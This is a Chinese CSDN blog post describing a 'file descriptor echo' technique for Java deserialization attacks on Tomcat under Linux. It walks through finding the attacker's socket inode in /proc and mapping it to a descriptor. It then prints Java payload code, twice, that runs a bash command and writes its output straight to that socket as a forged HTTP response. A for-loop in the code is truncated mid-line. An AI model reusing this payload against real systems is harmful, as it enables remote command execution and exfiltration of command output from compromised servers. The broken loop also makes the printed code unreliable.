linux 文件描述符 聚拢性,Linux下文件描述符回显构造

本文探讨了一种在Linux环境下通过文件描述符获取回显的方法,涉及TCP连接信息、inode编号和Java代码实现。由于依赖于特定环境,此方法的适用性有限,不适用于大型网络环境或Mac系统。实践中,通过反序列化应用案例,找到并操控文件描述符,最终实现了篡写fd内容以构造回显。
摘要由CSDN通过智能技术生成

1 前言

前面讲了如果通过工具来半自动化挖掘中间件的回显构造方法,那么本篇在适用性上远比前文小,文件描述符只存在于Linux环境下,甚至在Mac环境下都不能调试,因此其局限性还是非常大的,另外在实际环境中如果遇到反代这种大型网络环境,通过这种方法来获取回显也会打上一个大大的问号,所以本文还是保持研究的态度来对这种回显方法一探究竟。

2 实践

在实践前,我们先通过人为模拟来寻找我们所能操控的文件描述符编号

d5cd282ac705e85bbf3102dc8ac5cca7.png

还是熟悉的一个反序列化的应用案例,这里debug后我们来到服务器查看相对应的文件描述信息

f1230c7d2afa90c38b7a13078df6aa85.png

这里对照第五行发现其中的ip地址经过了十六位进制转化,服务器的ip地址为192.168.59.148,对应local_address,而本机ip地址为192.168.59.1,对应remote_address,这里以192.168.59.148为例进行十六进制转化,转化后为C0.A8.3B.94,按照顺序排序后为943BA8C0,后面的1F90怀疑是socket的连接端口,这个暂且不深究,那么看到这里我们就能够知道sl对应5的这条信息其实就是我们本机与远端服务器的交互信息,其中inode为58016。

那么讲到这里就开始出现了如何取这个uid编号的问题,有人说利用ip地址,那么假设是vps的环境下,ip地址固定,通过寻找ip字符串就能拿到相应的inode编号,这是一种办法,而这里由于只有笔者一台服务器,所以这里可以很明显的发现存在交互的socket连接信息其中存在-1的字段,那么在本文的实验环境下是可以通过这个-1的标志位来取的,实际环境下不建议这么做。。

另外这里走了很长的弯路,一直以为文件描述信息在/proc/thread-self/net/tcp其中,但是经过不断地实验发现取上述地址并不能获得回显,但是会在catalina的记录里出现,因此这里取地址的时候需要越过这个坑。

那么这里我们已经取到了inode编号为58016,接下来到对应的pid目录下去看一看socket连接信息

357832c24fc2778b1b09f30558eabf20.png

这里tomcat的pid编号为3303,通过命令“ls -l /proc/3303/fd”即可查看tomcat的所有连接信息,这里对应58016编号,可以看到文件描述符为62

d24f6d23a513319c8492f6d3f56cf48e.png

至此我们通过手工方法复现了寻找文件描述符的方法,最后通过java代码来篡写fd为62的文件内容

以下附上实验代码

//ShellExec

String command = "whoami";

java.util.List cmds = new java.util.ArrayList();

cmds.add("/bin/bash");

cmds.add("-c");

cmds.add(command);

ProcessBuilder pb = new ProcessBuilder(cmds);

pb.redirectErrorStream(true);

Process proc = pb.start();

byte[] out = new byte[1024 * 10];

proc.getInputStream().read(out);

//GetInode

java.io.File f1 = new java.io.File("/proc/thread-self/net/tcp6");

java.io.BufferedReader br = new java.io.BufferedReader(new java.io.FileReader(f1));

String line,inode,uid = "";

while ((line = br.readLine()) != null) {

String[] lineArr = line.split("\\s+");

if (lineArr.length == 18){

inode = lineArr[17];

java.util.regex.Pattern pattern = java.util.regex.Pattern.compile("^[-\\+]?[\\d]*$");

if(pattern.matcher(inode).matches() && Integer.parseInt(inode) < 0) {

uid = lineArr[10];

break;

}

}

}

//getFdFile

String tmp = "";

java.io.File file = new java.io.File("/proc/thread-self/fd");

java.io.File[] fs = file.listFiles();

for (int i=0;i

java.io.File f = fs[i];

java.nio.file.Path path = java.nio.file.Paths.get(f.toString(), new String[]{""});

String link = java.nio.file.Files.readSymbolicLink(path).toString();

if (link.contains(uid)) {

tmp = f.toString();

break;

}

}

//getFd

Class clazz = Class.forName("java.io.FileDescriptor");

java.lang.reflect.Constructor m = clazz.getDeclaredConstructor(new Class[]{Integer.TYPE});

m.setAccessible(true);

String[] fdArr = tmp.split("/");

String fdId = fdArr[fdArr.length - 1];

java.io.FileDescriptor fd = (java.io.FileDescriptor) m.newInstance(new Object[]{new Integer(fdId)});

//writeFd

String body = new String(out);

String response = "HTTP/1.1 200 OK\r\n"

+ "Content-Type: text/html\r\n"

+ "Content-Length: " + body.length()

+ "\r\n\r\n"

+ body

+ "\r\n\r\n";

java.io.FileOutputStream os = new java.io.FileOutputStream(fd);

os.write(response.getBytes());

os.close();

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

//ShellExec

Stringcommand="whoami";

java.util.Listcmds=newjava.util.ArrayList();

cmds.add("/bin/bash");

cmds.add("-c");

cmds.add(command);

ProcessBuilderpb=newProcessBuilder(cmds);

pb.redirectErrorStream(true);

Processproc=pb.start();

byte[]out=newbyte[1024*10];

proc.getInputStream().read(out);

//GetInode

java.io.Filef1=newjava.io.File("/proc/thread-self/net/tcp6");

java.io.BufferedReaderbr=newjava.io.BufferedReader(newjava.io.FileReader(f1));

Stringline,inode,uid="";

while((line=br.readLine())!=null){

String[]lineArr=line.split("\\s+");

if(lineArr.length==18){

inode=lineArr[17];

java.util.regex.Patternpattern=java.util.regex.Pattern.compile("^[-\\+]?[\\d]*$");

if(pattern.matcher(inode).matches()&&Integer.parseInt(inode)<0){

uid=lineArr[10];

break;

}

}

}

//getFdFile

Stringtmp="";

java.io.Filefile=newjava.io.File("/proc/thread-self/fd");

java.io.File[]fs=file.listFiles();

for(inti=0;i

java.io.Filef=fs[i];

java.nio.file.Pathpath=java.nio.file.Paths.get(f.toString(),newString[]{""});

Stringlink=java.nio.file.Files.readSymbolicLink(path).toString();

if(link.contains(uid)){

tmp=f.toString();

break;

}

}

//getFd

Classclazz=Class.forName("java.io.FileDescriptor");

java.lang.reflect.Constructorm=clazz.getDeclaredConstructor(newClass[]{Integer.TYPE});

m.setAccessible(true);

String[]fdArr=tmp.split("/");

StringfdId=fdArr[fdArr.length-1];

java.io.FileDescriptorfd=(java.io.FileDescriptor)m.newInstance(newObject[]{newInteger(fdId)});

//writeFd

Stringbody=newString(out);

Stringresponse="HTTP/1.1 200 OK\r\n"

+"Content-Type: text/html\r\n"

+"Content-Length: "+body.length()

+"\r\n\r\n"

+body

+"\r\n\r\n";

java.io.FileOutputStreamos=newjava.io.FileOutputStream(fd);

os.write(response.getBytes());

os.close();

最后通过模拟http返回包内容来构造回显内容,然后配合上反序列化,至此就能够拿到页面回显。

0ddf300893f5322aec67ab24224e69b6.png

3 后记

这种回显构造的方式仅局限于linux环境,所以局限性还是非常大的,并不如前文提到的利用response构造回显应用的那么广泛。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值